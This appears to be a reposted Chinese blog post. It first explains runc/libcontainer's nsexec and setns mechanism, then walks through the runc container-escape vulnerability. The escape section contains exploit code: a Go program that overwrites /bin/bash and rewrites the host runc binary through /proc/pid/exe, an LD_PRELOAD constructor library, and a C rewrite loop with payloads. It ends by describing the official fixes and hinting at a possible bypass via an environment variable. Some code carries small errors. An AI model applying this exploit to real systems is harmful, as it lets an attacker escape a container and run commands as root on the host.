zoukankan      html  css  js  c++  java
  • libcontainer nsexec + unshare + syscall(SYS_setns

    // execSetns runs the process that executes C code to perform the setns calls
    // because setns support requires the C process to fork off a child and perform the setns
    // before the go runtime boots, we wait on the process to die and receive the child's pid
    // over the provided pipe.
    func (p *setnsProcess) execSetns() error {
            status, err := p.cmd.Process.Wait()
            if err != nil {
                    p.cmd.Wait()
                    return newSystemErrorWithCause(err, "waiting on setns process to finish")
            }
            if !status.Success() {
                    p.cmd.Wait()
                    return newSystemError(&exec.ExitError{ProcessState: status})
            }
            var pid *pid
            if err := json.NewDecoder(p.messageSockPair.parent).Decode(&pid); err != nil {
                    p.cmd.Wait()
                    return newSystemErrorWithCause(err, "reading pid from init pipe")
            }
    
            // Clean up the zombie parent process
            // On Unix systems FindProcess always succeeds.
            firstChildProcess, _ := os.FindProcess(pid.PidFirstChild)
    
            // Ignore the error in case the child has already been reaped for any reason
            _, _ = firstChildProcess.Wait()
    
            process, err := os.FindProcess(pid.Pid)
            if err != nil {
                    return err
            }
            p.cmd.Process = process
            p.process.ops = p
            return nil
    }

    Docker 可以通过 exec 命令在一个存在的容器中运行一个进程,那么这个进程就需要通过 setns 系统调用加入到容器对应的 namespace 中,然而 setns 并不能正确的在 Go runtime 这样的多线程环境下工作,因此在实现一个容器的时候,这方面 Go 语言就远没有 C 语言来得直接、简洁。

    Docker 实现 setns 的原理

    第一步就是需要用 os/exec 启动一个新的进程。
    cmd := &exec.Cmd{
        Path:   "/proc/self/exe",
        Args:   []string{"setns"},
    }
    cmd.Start()
    
    第二步最为关键,必须让这个新的进程在启动 runtime 多线程环境之前完成 setns 相关操作, Go 语言并没有直接提供在一个程序启动前执行某段代码的机制,但 C 语言却可以通过 gcc 的 扩展 __attribute__((constructor)) 来实现程序启动前执行特定代码,因此 Go 就可以通过 cgo 嵌入 这样的一段 C 代码来完成 runtime 启动前执行特定的 C 代码。

    Docker 实现如下:

    // +build linux,!gccgo
    
    package nsenter
    
    /*
    #cgo CFLAGS: -Wall
    extern void nsexec();
    void __attribute__((constructor)) init(void) {
    	nsexec();
    }
    */
    import "C"
    

    __attribute__((constructor)) 修饰的函数在main函数之前执行
    
    __attribute__((destructor))  修饰的函数在main函数之后执行

    这段代码就会在 Go 程序真正启动前执行这里定义的 init() 函数,然后执行 nsexec(), nsexec 函数里就可以干我们想干的所有事情了,有兴趣的看这里 void nsexec() 。注意这里定义的 nsenter 包并不需要被显示使用,只需要 import 被编译进去即可。

    int setns(int fd, int nstype)
    {
        return syscall(SYS_setns, fd, nstype);
    }
    int setns(int fd, int nstype)
    {
        return syscall(SYS_setns, fd, nstype);
    }
    if (config.cloneflags & CLONE_NEWUSER) {
                    if (unshare(CLONE_NEWUSER) < 0)
                        bail("failed to unshare user namespace");
                    config.cloneflags &= ~CLONE_NEWUSER;
    
                    /*
                     * We don't have the privileges to do any mapping here (see the
                     * clone_parent rant). So signal our parent to hook us up.
                     */
    
                    /* Switching is only necessary if we joined namespaces. */
                    if (config.namespaces) {
                        if (prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) < 0)
                            bail("failed to set process as dumpable");
                    }
                    s = SYNC_USERMAP_PLS;
                    if (write(syncfd, &s, sizeof(s)) != sizeof(s))
                        bail("failed to sync with parent: write(SYNC_USERMAP_PLS)");
    
                    /* ... wait for mapping ... */
    
                    if (read(syncfd, &s, sizeof(s)) != sizeof(s))
                        bail("failed to sync with parent: read(SYNC_USERMAP_ACK)");
                    if (s != SYNC_USERMAP_ACK)
                        bail("failed to sync with parent: SYNC_USERMAP_ACK: got %u", s);
                    /* Switching is only necessary if we joined namespaces. */
                    if (config.namespaces) {
                        if (prctl(PR_SET_DUMPABLE, 0, 0, 0, 0) < 0)
                            bail("failed to set process as dumpable");
                    }
    
                    /* Become root in the namespace proper. */
                    if (setresuid(0, 0, 0) < 0)
                        bail("failed to become root in user namespace");
                }
                /*
                 * Unshare all of the namespaces. Now, it should be noted that this
                 * ordering might break in the future (especially with rootless
                 * containers). But for now, it's not possible to split this into
                 * CLONE_NEWUSER + [the rest] because of some RHEL SELinux issues.
                 *
                 * Note that we don't merge this with clone() because there were
                 * some old kernel versions where clone(CLONE_PARENT | CLONE_NEWPID)
                 * was broken, so we'll just do it the long way anyway.
                 */
                if (unshare(config.cloneflags & ~CLONE_NEWCGROUP) < 0)
                    bail("failed to unshare namespaces");

    nsexec.c

    nsexec.c是定义在/libcontainer/nsenter/nsexec.c中的C语言代码,其功能就是依据bootstrapData重新设置init进程的namespace,user等属性。关于nsexec.c的代码,还没作详细地研究,现在只知道只要import该包,代码就生效了:

    1
    import _ "github.com/opencontainers/runc/libcontainer/nsenter"

    nsexec.c会从”_LIBCONTAINER_INITPIPE环境变量中拿到pipe,并读取bootstrapData。然后,nsexec.c会调用clone()进行复制,在clone()时,传入参数CLONE_PARENT及命令空间参数,使用子进程和父进程成为兄弟关系,且拥有了自己的命名空间。接着调用setns()进行已存在的命名空间的处理。

    所以不妨可以这样认为,nsexec.c具有劫持init进程的功能。

    来看start()中等待的方法execSetns(),定义在/libcontainer/process_linux.go中:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    func (p *initProcess) execSetns() error {
    //***等待进程执行完成***//
    status, err := p.cmd.Process.Wait()
    if err != nil {
    p.cmd.Wait()
    return err
    }
    if !status.Success() {
    p.cmd.Wait()
    return &exec.ExitError{ProcessState: status}
    }
    var pid *pid
    if err := json.NewDecoder(p.parentPipe).Decode(&pid); err != nil {
    p.cmd.Wait()
    return err
    }
    process, err := os.FindProcess(pid.Pid)
    if err != nil {
    return err
    }
    p.cmd.Process = process
    p.process.ops = p
    return nil
    }

    可以看到,execSetns()会等cmd的Process执行完成后,从parentPipe中读取新进程的信息,并把新进程赋值给cmd,而这个新进程就是经过nsexec.c处理过的进程。这样,cmd中的进程就是在正确的namespace中的了。所以,在execSetns()中的Process.Wait(),等待的是nsexec.c的完成,nsexec.c执行完后,会自动交还执行权限,即init进程会往下执行。

    nsexec.c在/main_unix.go中被import:

    1
    _ "github.com/opencontainers/runc/libcontainer/nsenter"

    在翻漏洞的偶然看见这个洞,发现很有意思,docker 容器逃逸,出现问题在于docker 里面的runc。runc是docker中最为核心的部分,容器的创建,运行,销毁等等操作最终都将通过调用runc完成。不仅仅是docker会受影响,依赖于runc的应用都会受到影响,该漏洞将会Rewrite runc,执行任意命令,下面我们来看一看它的实现方式。

    • initProcess.start()。
    • InitProcess.start() 容器的初始化配置,此处 cmd.start() 调用实则是 runC init命令执行
    • InitProcess.start() 容器的初始化配置,此处 cmd.start() 调用实则是 runC init命令执行:


    # proc && execve

    `/proc` 是一个伪文件系统,这个伪文件系统让你可以和内核内部数据结构进行交互,与真正的文件系统不同的是它是存在于内存中而不是真正的硬盘上,linux 下有一个说法一切皆文件,所有在linux上运行的程序都在`/proc`下有一个自己的目录,目录名字为程序的Pid号,目录里面存储着许多关于进程的信息,列如进程状态status,进程启动时的相关命令cmdline,进程的内存映像maps,进程包含的所有相关的文件描述符fd文件夹等等

    其中 `/proc/pid/fd` 中包含着进程打开的所有文件的文件描述符,这些文件描述符看起来像链接文件一样,通过ls -l 你可以看见这些文件的具体位置,但是它们并不是简单连接文件,你可以通过这些文件描述符再打开这些文件,你可以重新获得一个新的文件描述符,即使这些文件在你所在的位置是不能访问,你依然可以打开。

    还一个 `/proc/pid/exe` 文件,这个文件指向进程本身的可执行文件。

    除了这些进程pid文件目录内的文件,还有一个比较特别的`/proc/self`,这文件夹始终指向的是访问这个目录`/proc/pid`文件夹,所以除了通过自己的pid号访问进程信息,还可以通过`/proc/self` 来访问,不需要知道自己的pid号。

    `execve` 是一个内核系统调用函数,`execve()` 和`fork()`,`clone() `不一样,它不需要启动新的进程,它直接替换当前执行的文件为新的文件,为新的可执行文件分配新初始化的堆栈和数据段。替换可执行文件,意味着释放调用`execve()`文件的IO,但这个过程默认是不释放`/proc/pid/fd`中的打开的文件描述符,如果你在打开/proc/pid/fd中文件的时候,特别的传参`O_CLOEXEC `或者 `FD_CLOEXEC`,那么在`execve `替换进程的时候,将关闭所有设置了这个选项的`fd`,阻止子进程继承父进程打开的`fd`。

    # 动态链接

    在可执行文件运行的时候,由操作系统的装载程序加载库,比如在linux 下由`ld.so,ld-linux.so` 查找并且装载程序所依赖的动态链接对象。这里有一个需要的注意的
    ```sh
    /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /bin/ls -al /proc/self/exe
    ```
    这个时候 `/proc/self/exe` 并不是指向你所想象的那样为 `/bin/ls`, 而是`/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2`

    还有一个熟悉的LD_PRELOAD的环境变量,用于指定的动态库加载,优先级最高,可以用他做很多事,这里也可以用到。

    # 漏洞成因

    尽管docker的本意并不是来做沙盒的,容器包含着虚拟的环境,在虚拟的文件系统里面依然是root 权限,但也是算比较低的权限,也默认了容器的安全性。看似容器独立存在,不可避免的需要去思考这个过程是不是存在问题。

    进入正题,runc 完成容器的初始化 ,运行 ,执行命令。我们首先来看看它是如何执行命令的。我们首先启动一个基础的Ubuntu容器

    ![图片](http://m4p1e.com/assets/img/runc_1.png)

    接着在容器里面运行下面监听进程启动程序
    ```go
    package main

    import (
    "fmt"
    "io/ioutil"
    _ "os"
    "strconv"
    "strings"
    )

    func main() {
    var found int
    for found == 0 {
    pids, err := ioutil.ReadDir("/proc")
    if err != nil {
    fmt.Println(err)
    return
    }
    for _, f := range pids {
    fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
    fstring := string(fbytes)
    if strings.Contains(fstring, "runc") || strings.Contains(fstring,"ls") {
    fmt.Println(fstring)
    fmt.Println("[+] Found the PID:", f.Name())
    _, err = strconv.Atoi(f.Name())
    if err != nil {
    fmt.Println(err)
    return
    }
    }
    }
    }
    }
    ```
    ![图片](http://m4p1e.com/assets/img/runc_2.png)

    上面过程我们通过监听 runc 和 ls 的执行,所以我们只需要执行
    ```sh
    docker exec -it f3c ls
    ```
    监听输出如下图
    ![图片](http://m4p1e.com/assets/img/runc_3.png)
    首先是运行了`docker-runc init`,后执行了`ls`,可以看见过程中pid号没有变,可以想到runc 在启动新的进程的时候用的是`syscall.Exec()` 即`execve(),`在容器里面我们并不能运行docker-runc 因为namespace不一样,容器类的一切都被限定单独的namespace里面,但是你可以看到我是可以访问`/proc`下所有进程的信息,通过遍历/proc,我们可以得到runc 进程的pid号,并且我可以访问这个pid号下所有关于runc 的信息。同样包括runc的执行文件 ->`/proc/pid[runc]/exe,`这意味着我们是不是可以去尝试修改这个可执行文件,答案是不行,因为runc正在运行,如果你试着open 并且写东西进去,你会得到*invalid arguments*。

    如果想要写东西覆盖runc 必须等到runc运行结束。什么时候结束? 当`execve()` 运行新可执行文件。但是当runc 结束运行的时候,/proc/pid/exe将会被替换成新二进制可执行文件。所以这个时候去获得一个runc的fd文件描述符,并且保留下来,即 `open() `,` /proc/self/exe`,并返回对应的fd, 这里打开的时候只需要**O_RDONLY**,这个时候你可以去看`/proc/self/fd/`下多了一个runc本身的fd,接着前面说到过,通过`execve`启动的新可执行文件是可以保留父进程打开的fd。

    当`execve()` 执行,会首先释放runc的IO ,这个时候就可以去写runc,通过前面打开 `/proc/self/exe` 拿到的fd,找到`/proc/pid/fd/`下对应的fd,这个时候可以用`open(os.O_RDWR) `打开runc,并且写入payload重置runc。

    接着需要去思考如何在runc init 的时候去在进程里面进行open操作, 三种方法,分两种情况讨论:

    1. 在已经存在容器可以执行文件,通过docker exec 触发
    2. 构造恶意的容器,直接通过docker run 触发

    第一种情况:

    已经在容器里面了,你可以通过前面的方法等待docker-runc init 的执行,`open()` runc 获取fd, 再等待runc IO被释放。其中你可以通过覆盖docker exec 执行的二进制文件为 `#!/proc/self/exe`,到达覆盖之后执行的效果。
    比如 /bin/sh
    ```go
    package main
    import (
    "fmt"
    "io/ioutil"
    _ "os"
    "strconv"
    "strings"
    )
    var payload = "#!/bin/bash echo hello > /tmp/funny"
    func main() {

    fd, err := os.Create("/bin/bash")
    if err != nil {
    fmt.Println(err)
    return
    }
    fmt.Fprintln(fd, "#!/proc/self/exe")
    err = fd.Close()
    if err != nil {
    fmt.Println(err)
    return
    }
    fmt.Println("[+] Overwritten /bin/sh successfully")
    //fmt.Println("[+] Waiting docker exec")
    var found int
    for found == 0 {
    pids, err := ioutil.ReadDir("/proc")
    if err != nil {
    fmt.Println(err)
    return
    }
    for _, f := range pids {
    fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
    fstring := string(fbytes)
    if strings.Contains(fstring, "runc") || strings.Contains(fstring,"ls") {
    fmt.Println(fstring)
    fmt.Println("[+] Found the PID:", f.Name())
    _, err = strconv.Atoi(f.Name())
    if err != nil {
    fmt.Println(err)
    return
    }
    }
    }
    }

    var handleFd = -1
    for handleFd == -1 {
    handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
    if int(handle.Fd()) > 0 {
    handleFd = int(handle.Fd())
    }
    }
    fmt.Println("[+] Successfully got the file handle")
    for {
    writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
    if int(writeHandle.Fd()) > 0 {
    fmt.Println("[+] Successfully got write handle", writeHandle)
    writeHandle.Write([]byte(payload))
    return
    }
    }
    }
    ```
    流程可以理解为
    循环等待 `runc init`的 PID --> `open("/proc/pid/exe",O_RDONLY)` -->循环等待`execve()`释放 runc的IO并覆盖runc二进制文件 --> `execve() `执行被覆盖 runc。

    执行权限任意命令的权限为运行docker exec的权限。

    第二种情况:
    构造恶意的镜像,在运行容器的时候触发。这个时候你需要考虑,如何hook runc的运行过程,首先想到就是动态链接,可以设置环境变量LD_PRELOAD来给runc 添加一个动态库。这个动态库需要包含一个全局的构造函数,在被加载时候首先执行,即可以通过
    ```c
    #include <stdio.h>
    #include<stdlib.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <unistd.h>

    __attribute__ ((constructor)) void foo(void)
    {
    int fd = open("/proc/self/exe", O_RDONLY);
    if (fd == -1 ) {
    printf("HAX: can't open /proc/self/exe ");
    return;
    }
    printf("HAX: fd is %d ", fd);

    char *argv2[3];
    argv2[0] = strdup("/rewrite");
    char buf[128];
    snprintf(buf, 128, "/proc/self/fd/%d", fd);
    argv2[1] = buf;
    argv2[2] = 0;
    const char *ld_preload = "LD_PRELOAD";
    const char *empty = "";
    setevn(ld_preload,empty,1)
    execve("/rewrite", argv2, NULL);
    }
    ```
    q3k 还提到一种方法,替换docker-runc中的动态加载库,这种方法和版本有关,我们可以先看一看docker-runc的动态加载库,

    ![图片](http://m4p1e.com/assets/img/runc_4.png)

    可以看到有一个比较特殊的libseccomp,先去分析一下它的依赖,

    ![图片](http://m4p1e.com/assets/img/runc_5.png)

    直接`apt-get source libseccomp`,seccomp 是linux 下一种安全模式,针对限制程序使用系统调用,PWN选手应该对他属性,很多用来做沙盒的环境,可以简单看一下的它的使用
    列一些比较常见调用它的api
    `seccomp_init` 初始化过滤状态,
    `seccomp_rule_add` 增加过滤规则
    `seccomp_load` 应用已经配置好的过滤内容

    回到主题,前面说到我们这里可以去替换 `libseccomp.so `,在里面里面同样可以加一个全局的构造函数,在哪加呢? 可以去提供上面接口定义的位置`src/api.c `结尾直接加 。


    前面说这种方法有一定的局限的情况,我尝试在低版本的docker-runc 里面是没有加载`libseccomp.so`,那么这种方法就不适用了,当然你也可以选择替换其他的动态库,还有一点q3k 的poc 里用来重写runc的可执行文件有一点小问题,我直接用它的poc时10次成功一次,发现问题出在写runc上,一直报错 Text file buzy , 怎么runc还会被占用呢,难道runc 在容器里又一次运行了?,经过我测试,在使用docker exec 执行命令的时候,容器里面只有 docker-runc init 一次,那么问题肯定出在容器外,由于我不想去看runc 实现过程,我把前面的简单的监测进程的程序再一次放到了容器外,于此同时再用docker exec 执行一次命令,如图下:

    ![图片](http://m4p1e.com/assets/img/runc_6.png)

    果然在容器外面 runc 还会被再次运行,runc state 用来输出docker exec 执行结果,同样也有runc kill 和 runc delete 在后面的运行。所以这个写runc的过程可以在一个循环队列里面。稍微的改了改q3k的rewrite

    ```c
    #include <stdio.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <errno.h>
    #include <unistd.h>


    int main(int argc, char **argv) {
    extern int errno;
    const char *poc = "#!/bin/bash /usr/bin/touch /root/runc_test";
    printf("HAX2: argv: %s ", argv[1]);

    while(1){
    int fd = open(argv[1], O_RDWR|O_TRUNC);
    if(fd>0){
    printf("HAX2: fd: %d ", fd);
    int res = write(fd, poc, strlen(poc));
    printf("HAX2: res: %d, %d ", res, errno);
    return 0;
    }
    }
    return 0;
    }
    ```
    可以看到只要重写了runc ,docker 会自动帮你再次运行runc,下面看一看官方,对此的修复方式。


    # 修复

    官方前前后后修复了很多次,最终可以分为三种方法:

    1. memfd
    2. tmpfile
    3. bind-mount

    其中tmpfile 使用文件的方法又可以分为,`open(2)`的 `O_TMPFILE` 和 `mkostemp(3)`.

    接下来看看修复流程 ->

    根据官方的commit runc/libcontainer/nsenter 多了一个cloned_binary.c,
    并且runc/libcontainer/nsenter/nsexec.c 中` nsexec()`多了一行判断
    ```c
    if (ensure_cloned_binary() < 0)
    bail("could not ensure we are a cloned binary");
    ```
    根据nsenter 的doc 介绍,这是一个用来在runc init 之前设置namespace用的init 构造器,具体可以看看 nsenter.go 里面的内容
    ```go
    package nsenter

    /*
    #cgo CFLAGS: -Wall

    extern void nsexec();

    void __attribute__((constructor)) init(void) {

    nsexec();

    }

    */
    import "C"
    ```
    使用了`cgo`包,根据`cgo`的语法,如果`import "C" `紧跟随在一段注释后面 ,那么注释里面的东西将会被被当做c 执行,即每次只要我们 `import nsenter` 包,就会执行`nsexec()`, nsenter 只在runc/init.go 下被引用,
    ```go
    package main

    import (
    "os"
    "runtime"
    "github.com/opencontainers/runc/libcontainer"
    _ "github.com/opencontainers/runc/libcontainer/nsenter"
    "github.com/urfave/cli"

    )

    func init() {
    if len(os.Args) > 1 && os.Args[1] == "init" {
    runtime.GOMAXPROCS(1)
    runtime.LockOSThread()
    }
    }

    var initCommand = cli.Command{
    Name: "init",
    Usage: `initialize the namespaces and launch the process (do not call it outside of runc)`,
    Action: func(context *cli.Context) error {
    factory, _ := libcontainer.New("")
    if err := factory.StartInitialization(); err != nil {
    os.Exit(1)
    }
    panic("libcontainer: container init failed to exec")
    },
    }
    ```
    可以看到只要执行 runc init的时候,nsexec()就会被执行,现在再具体去看看`ensure_cloned_binary() `,它用来判断`/proc/self/exe `是不是经过处理过,为了防止runc 被重写,官方最开始用的是`memfd_create(2)`,可以用它在内存中创建一个匿名文件,并返回一个文件描述符fd,同时你可以传递一个 **MFD_ALLOW_SEALING flag**,它可以将允许文件密封操作,即将无法修改文件所在的,先将`/proc/self/exe` 写入 这个文件内,再用 `fcntl(2) ` **F_ADD_SEALS**将这段文件内存密封起来。这样一来,你再用open(2),打开`/proc/self/exe`去写,将不会被允许。

    同时还有一个` open(2)` **O_TMPFILE** 方法,将`/proc/self/exe` 写入 临时文件,这种方法受限于linux 内核版本问题,需要 >=3.11,而且也受限于
    glibc。官方又扩展了另一种`mkostemp(3)`的方法用来写临时文件,没什么特别的。

    `上面三种方法都显得比较浪费,`memfd_create(2) 的使用直接往内存写了一个runc 大概 10M,所以官方又提供了一种看起来是最简单的方法,用 `bind-mount`,直接使用 绑定挂载`/proc/self/exe` 到一个只能读的节点上,打开这个节点,再把这个挂载节点去掉。避免了对`/proc/self/exe `拷贝过程,但是和tmpfile 一样,你需要先创建一个临时文件,用来挂载`/proc/self/exe`。

    整个逃逸过程精髓在于对 `/proc/pid` 下结构的理解,`/proc/self/exe `指向进程的二进制文件本身,`/proc/self/fd` 可以继承父进程打开的文件描述符。`namespace`限制了很多东西,还有`capabilities`,限制了想通过`/proc/exe/cwd` 拿到runc的真实的路径。runc其实就是管理`libcontainer` 的客户端。问题还是在`libcontainer`上,在官方最后一次commit中,在判断是否经过处理的/proc/self/exe,会有一步判断是否设置了环境变量 **a _LIBCONTAINER_CLONED_BINARY** 标记处理过,如果我先设置这个环境变量会怎么样,有兴趣的朋友去试试。

  • 相关阅读:
    ubuntu 安装 redis desktop manager
    ubuntu 升级内核
    Ubuntu 内核升级,导致无法正常启动
    spring mvc 上传文件,但是接收到文件后发现文件变大,且文件打不开(multipartfile)
    angular5 open modal
    POJ 1426 Find the Multiple(二维DP)
    POJ 3093 Margritas
    POJ 3260 The Fewest Coins
    POJ 1837 Balance(二维DP)
    POJ 1337 A Lazy Worker
  • 原文地址:https://www.cnblogs.com/dream397/p/14032264.html
Copyright © 2011-2022 走看看